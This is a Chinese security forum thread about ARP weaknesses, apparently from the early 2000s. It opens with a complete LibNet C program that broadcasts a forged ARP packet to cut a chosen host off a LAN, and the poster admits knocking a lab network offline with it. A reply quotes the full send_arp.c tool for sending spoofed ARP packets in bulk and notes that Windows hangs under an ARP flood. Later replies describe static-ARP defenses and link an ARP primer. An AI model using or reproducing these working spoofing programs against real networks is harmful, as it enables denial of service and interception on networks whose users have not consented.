转自安全焦点<br />动态ARP可导致整个TCP/IP网络中断<br />--------------------------------------------------------------------<br /><br />  <br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->/* &nbsp;当年我就使用他作实验时把openlab给断了一会儿 &nbsp; hehe &nbsp; &nbsp;不要扁我喔 &nbsp;*/<br />/*<br />程序名：Arp_break_net.c<br />用途 &nbsp;：演示通过ARP数据包使网络中的某主机无法连接网络<br /> &nbsp; &nbsp; &nbsp; &nbsp;演示中192.168.0.1 将无法连接进入网络<br />编写 &nbsp;：cloud<br />时间 &nbsp;：2001-2-11<br />其他 &nbsp;：程序依赖LibNet<br />*/<br /><br />#include&#60;libnet.h&#62;<br /><br />u_char enet_src&#91;6&#93; = {0,0,0,0}; &nbsp;//源MAC地址 &nbsp;&#40;伪造的一个不存在MAC地址&#41;<br />u_char enet_dst&#91;6&#93; = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; <br />//目标MAC地址（广播地址&#41;<br />u_char ip_src&#91;4&#93; &nbsp; = {192,168,0,1}; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />//源IP地址 &nbsp;&#40;被踢出网络的IP地址）<br />u_char ip_dst&#91;4&#93; &nbsp; = {192,168,0,255}; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />//目标IP地址 （随便一个IP地址）<br /><br />int main&#40;int argc, char *argv&#91;&#93;&#41;<br />{<br /> &nbsp; &nbsp;int &nbsp;c;<br /> &nbsp; &nbsp;char errbuf&#91;256&#93;;<br /> &nbsp; &nbsp;char *device = &#34;eth0&#34;; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//数据包从第一个网卡发送出去<br /> &nbsp; &nbsp;struct libnet_link_int *l;<br /><br /><br /> &nbsp; &nbsp;l = libnet_open_link_interface&#40;device, errbuf&#41;; &nbsp; //打开设备<br /> &nbsp; &nbsp;if &#40;&#33;l&#41;<br /> &nbsp; &nbsp;{<br /> &nbsp; &nbsp; &nbsp; &nbsp;fprintf&#40;stderr, &#34;libnet_open_link_interface&#58; %sn&#34;, errbuf&#41;;<br /> &nbsp; &nbsp; &nbsp; &nbsp;exit&#40;EXIT_FAILURE&#41;;<br /> &nbsp; &nbsp;}<br /> &nbsp; &nbsp;c = send_arp&#40;l, device&#41;; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //发送ARP数据包<br /><br /> &nbsp; &nbsp;return &#40;c == -1 ? EXIT_FAILURE &#58; EXIT_SUCCESS&#41;;<br />}<br /><br /><br />int send_arp&#40;struct link_int *l, u_char *device&#41;<br />{<br /> &nbsp; &nbsp;int n;<br /> &nbsp; &nbsp;u_char *buf;<br /><br /> &nbsp; &nbsp;if &#40;libnet_init_packet&#40;ARP_H + ETH_H, &amp;buf&#41; == -1&#41;<br /> &nbsp; &nbsp;{<br /> &nbsp; &nbsp; &nbsp; &nbsp;perror&#40;&#34;libnet_init_packet memory&#58;&#34;&#41;;<br /> &nbsp; &nbsp; &nbsp; &nbsp;exit&#40;EXIT_FAILURE&#41;;<br /> &nbsp; &nbsp;}<br /><br /> &nbsp; &nbsp;/*<br /> &nbsp; &nbsp; * 构造以太数据包头部信息<br /> &nbsp; &nbsp; */<br /> &nbsp; &nbsp;libnet_build_ethernet&#40;enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf&#41;;<br /><br /> &nbsp; &nbsp;/*<br /> &nbsp; &nbsp; * &nbsp;构造ARP数据包头部信息<br /> &nbsp; &nbsp; */<br /> &nbsp; &nbsp;libnet_build_arp&#40;ARPHRD_ETHER,<br /> &nbsp; &nbsp; &nbsp; &nbsp;ETHERTYPE_IP,<br /> &nbsp; &nbsp; &nbsp; &nbsp;6,<br /> &nbsp; &nbsp; &nbsp; &nbsp;4,<br /> &nbsp; &nbsp; &nbsp; &nbsp;ARPOP_REQUEST,<br /> &nbsp; &nbsp; &nbsp; &nbsp;enet_src,<br /> &nbsp; &nbsp; &nbsp; &nbsp;ip_src,<br /> &nbsp; &nbsp; &nbsp; &nbsp;enet_dst,<br /> &nbsp; &nbsp; &nbsp; &nbsp;ip_dst,<br /> &nbsp; &nbsp; &nbsp; &nbsp;NULL,<br /> &nbsp; &nbsp; &nbsp; &nbsp;0,<br /> &nbsp; &nbsp; &nbsp; &nbsp;buf + ETH_H&#41;;<br /><br /> &nbsp; &nbsp;n = libnet_write_link_layer&#40;l, device, buf, ARP_H + ETH_H&#41;; &nbsp;//发送数据包<br /><br /> &nbsp; &nbsp;printf&#40;&#34;Wrote %d byte ARP packet through linktype %dn&#34;, n, l-&#62;linktype&#41;;<br /><br /> &nbsp; &nbsp;libnet_destroy_packet&#40;&amp;buf&#41;;<br /> &nbsp; &nbsp;return &#40;n&#41;;<br />}<!--c2--></div><!--ec2-->

怎么会中断呢？ <!--emo&:o--><img src='style_emoticons/default/ohmy.gif' border='0' style='vertical-align:middle' alt='ohmy.gif' /><!--endemo-->

ethernet在二层上毫无安全性可言<br />arp永远是它的软肋<br /><br />PS:win32(98/me/2K/XP)在收到大量arp包时会停止响应，重起后不能进入系统（如果发送方仍未停止）<br /><br />send_arp.c，一个很老的程序了，我还曾经想把它移植到*BSD上，不过功力不够 <!--emo&:blush:--><img src='style_emoticons/default/blush.gif' border='0' style='vertical-align:middle' alt='blush.gif' /><!--endemo--> <br /><!--QuoteBegin--><div class='quotetop'>QUOTE</div><div class='quotemain'><!--QuoteEBegin-->/* <br />This program sends out one ARP packet with source/target IP <br />and Ethernet hardware addresses suuplied by the user. It&nbsp; <br />compiles and works on Linux and will probably work on any&nbsp; <br />Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu&nbsp; <br />*/&nbsp; <br />#include &lt;netdb.h&gt; <br />#include &lt;sys/socket.h&gt; <br />#include &lt;sys/types.h&gt; <br />#include &lt;stdio.h&gt; <br />#include &lt;errno.h&gt; <br />#include &lt;sys/ioctl.h&gt; <br />#include &lt;net/if.h&gt; <br />#include &lt;signal.h&gt; <br />#include &lt;netinet/ip.h&gt; <br />#include &lt;netinet/in.h&gt; <br />#include &lt;string.h&gt; <br />#include &lt;arpa/inet.h&gt; <br />#include &lt;netinet/ip_icmp.h&gt; <br />#include &lt;linux/if_ether.h&gt; <br />#define ETH_HW_ADDR_LEN 6&nbsp; <br />#define IP_ADDR_LEN 4&nbsp; <br />#define ARP_FRAME_TYPE 0x0806&nbsp; <br />#define ETHER_HW_TYPE 1&nbsp; <br />#define IP_PROTO_TYPE 0x0800&nbsp; <br />#define OP_ARP_REQUEST 2&nbsp; <br />#define OP_ARP_QUEST 1 <br />#define DEFAULT_DEVICE &quot;eth0&quot;&nbsp; <br />char usage[] = {&quot;send_arp: sends out custom ARP packet. yuri volobuev <br />&nbsp;&nbsp; usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number&quot;};&nbsp; <br />struct arp_packet&nbsp; <br />{&nbsp; <br />u_char targ_hw_addr[ETH_HW_ADDR_LEN];&nbsp; <br />u_char src_hw_addr[ETH_HW_ADDR_LEN];&nbsp; <br />u_short frame_type;&nbsp; <br />u_short hw_type;&nbsp; <br />u_short prot_type;&nbsp; <br />u_char hw_addr_size;&nbsp; <br />u_char prot_addr_size;&nbsp; <br />u_short op;&nbsp; <br />u_char sndr_hw_addr[ETH_HW_ADDR_LEN];&nbsp; <br />u_char sndr_ip_addr[IP_ADDR_LEN];&nbsp; <br />u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];&nbsp; <br />u_char rcpt_ip_addr[IP_ADDR_LEN];&nbsp; <br />u_char padding[18];&nbsp; <br />};&nbsp; <br />void die (char *);&nbsp; <br />void get_ip_addr (struct in_addr *, char *);&nbsp; <br />void get_hw_addr (char *, char *);&nbsp; <br />int main (int argc, char * argv[])&nbsp; <br />{&nbsp; <br />struct in_addr src_in_addr, targ_in_addr;&nbsp; <br />struct arp_packet pkt;&nbsp; <br />struct sockaddr sa;&nbsp; <br />int sock;&nbsp; <br />int j,number; <br />if (argc &#33;= 6)&nbsp; <br />die(usage);&nbsp; <br />sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));&nbsp; <br />if (sock &lt; 0)&nbsp; <br />{&nbsp; <br />perror(&quot;socket&quot;);&nbsp; <br />exit(1);&nbsp; <br />}&nbsp; <br />number=atoi(argv[5]); <br />pkt.frame_type = htons(ARP_FRAME_TYPE);&nbsp; <br />pkt.hw_type = htons(ETHER_HW_TYPE);&nbsp; <br />pkt.prot_type = htons(IP_PROTO_TYPE);&nbsp; <br />pkt.hw_addr_size = ETH_HW_ADDR_LEN;&nbsp; <br />pkt.prot_addr_size = IP_ADDR_LEN;&nbsp; <br />pkt.op = htons(OP_ARP_QUEST);&nbsp; <br />get_hw_addr(pkt.targ_hw_addr, argv[4]);&nbsp; <br />get_hw_addr(pkt.rcpt_hw_addr, argv[4]);&nbsp; <br />get_hw_addr(pkt.src_hw_addr, argv[2]);&nbsp; <br />get_hw_addr(pkt.sndr_hw_addr, argv[2]);&nbsp; <br />get_ip_addr(&amp;src_in_addr, argv[1]);&nbsp; <br />get_ip_addr(&amp;targ_in_addr, argv[3]);&nbsp; <br />memcpy(pkt.sndr_ip_addr, &amp;src_in_addr, IP_ADDR_LEN);&nbsp; <br />memcpy(pkt.rcpt_ip_addr, &amp;targ_in_addr, IP_ADDR_LEN);&nbsp; <br />bzero(pkt.padding,18);&nbsp; <br />strcpy(sa.sa_data,DEFAULT_DEVICE);&nbsp; <br />for (j=0;j&lt;number;j++) <br />{ <br />if (sendto(sock,&amp;pkt,sizeof(pkt),0,&amp;sa,sizeof(sa)) &lt; 0)&nbsp; <br />{&nbsp; <br />perror(&quot;sendto&quot;);&nbsp; <br />exit(1);&nbsp; <br />}&nbsp;&nbsp; <br />} <br />exit(0);&nbsp; <br />}&nbsp; <br />void die (char *str)&nbsp; <br />{&nbsp; <br />fprintf(stderr,&quot;%s\n&quot;,str);&nbsp; <br />exit(1);&nbsp; <br />}&nbsp; <br />void get_ip_addr (struct in_addr *in_addr, char *str)&nbsp; <br />{&nbsp; <br />struct hostent *hostp;&nbsp; <br />in_addr-&gt;s_addr = inet_addr(str);&nbsp; <br />if(in_addr-&gt;s_addr == -1) <br />{&nbsp; <br />if ((hostp = gethostbyname(str)))&nbsp; <br />bcopy(hostp-&gt;h_addr, in_addr, hostp-&gt;h_length);&nbsp; <br />else {&nbsp; <br />fprintf(stderr, &quot;send_arp: unknown host %s\n&quot;, str);&nbsp; <br />exit(1);&nbsp; <br />&nbsp; &nbsp;&nbsp; }&nbsp; <br />}&nbsp; <br />}&nbsp; <br />void get_hw_addr (char *buf, char *str)&nbsp; <br />{&nbsp; <br />int i;&nbsp; <br />char c, val;&nbsp; <br />for(i = 0; i &lt; ETH_HW_ADDR_LEN; i++)&nbsp; <br />{&nbsp; <br />if (&#33;(c = tolower(*str++)))&nbsp; <br />die(&quot;Invalid hardware address&quot;);&nbsp; <br />if (isdigit&copy;)&nbsp; <br />val = c - &#39;0&#39;;&nbsp; <br />else if (c &gt;= &#39;a&#39; &amp;&amp; c &lt;= &#39;f&#39;)&nbsp; <br />val = c-&#39;a&#39;+10;&nbsp; <br />&nbsp; &nbsp;&nbsp; else&nbsp; <br />die(&quot;Invalid hardware address&quot;);&nbsp; <br />*buf = val &lt;&lt; 4;&nbsp; <br />if (&#33;(c = tolower(*str++)))&nbsp; <br />die(&quot;Invalid hardware address&quot;);&nbsp; <br />if (isdigit&copy;)&nbsp; <br />val = c - &#39;0&#39;;&nbsp; <br />else if (c &gt;= &#39;a&#39; &amp;&amp; c &lt;= &#39;f&#39;)&nbsp; <br />val = c-&#39;a&#39;+10;&nbsp; <br />&nbsp; &nbsp;&nbsp; else&nbsp; <br />die(&quot;Invalid hardware address&quot;);&nbsp; <br />*buf++ |= val;&nbsp; <br />if (*str == &#39;:&#39;)&nbsp; <br />str++;&nbsp; <br />}&nbsp; <br />}<br /><br /><!--QuoteEnd--></div><!--QuoteEEnd-->

由此我使用了一种很简单的控制手段(layer2)：<br />在server上：<br />ifconfig interface down<br />ifconfig interface -arp   //Disable the use of the Address Resolution Protocol.<br />ifconfig interface up<br /><br />add client ip and mac to file(ip.mac.list)<br />arp -f ip.mac.list<br /><br />在client上:<br />arp -s SERVER.ip SERVER.ether_addr<br /><br />这样只有那些在ip.mac.list里的client才能与server通信（双向交流）

<!--QuoteBegin-i2era+2003-11-17 13:05:24--><div class='quotetop'>QUOTE(i2era @ 2003-11-17 13:05:24)</div><div class='quotemain'><!--QuoteEBegin--> 由此我使用了一种很简单的控制手段(layer2)：<br />在server上：<br />ifconfig interface down<br />ifconfig interface -arp&nbsp;  //Disable the use of the Address Resolution Protocol.<br />ifconfig interface up<br /><br />add client ip and mac to file(ip.mac.list)<br />arp -f ip.mac.list<br /><br />在client上:<br />arp -s SERVER.ip SERVER.ether_addr<br /><br />这样只有那些在ip.mac.list里的client才能与server通信（双向交流） <!--QuoteEnd--></div><!--QuoteEEnd--><br />是个办法。。。。。。。。如果由200台机器，不要累死啊？

200个ip还勉强凑合，要是有2的N次方个就只能  <!--emo&:shut:--><img src='style_emoticons/default/shut.gif' border='0' style='vertical-align:middle' alt='shut.gif' /><!--endemo--> <br />所以说是一种很简单的控制手段 <!--emo&(00)--><img src='style_emoticons/default/ninja.gif' border='0' style='vertical-align:middle' alt='ninja.gif' /><!--endemo-->

我写了一篇ARP协议的入门文章<br />希望初学者读了，对理解上面的文章有帮助<br /><br /><a href='http://www.ossh.org/Frame/index.asp?/os/learn/arpp.html' target='_blank'>http://www.ossh.org/Frame/index.asp?/os/learn/arpp.html</a>

很好的网站,我支持&#33;可是我不会编程.

顶出来。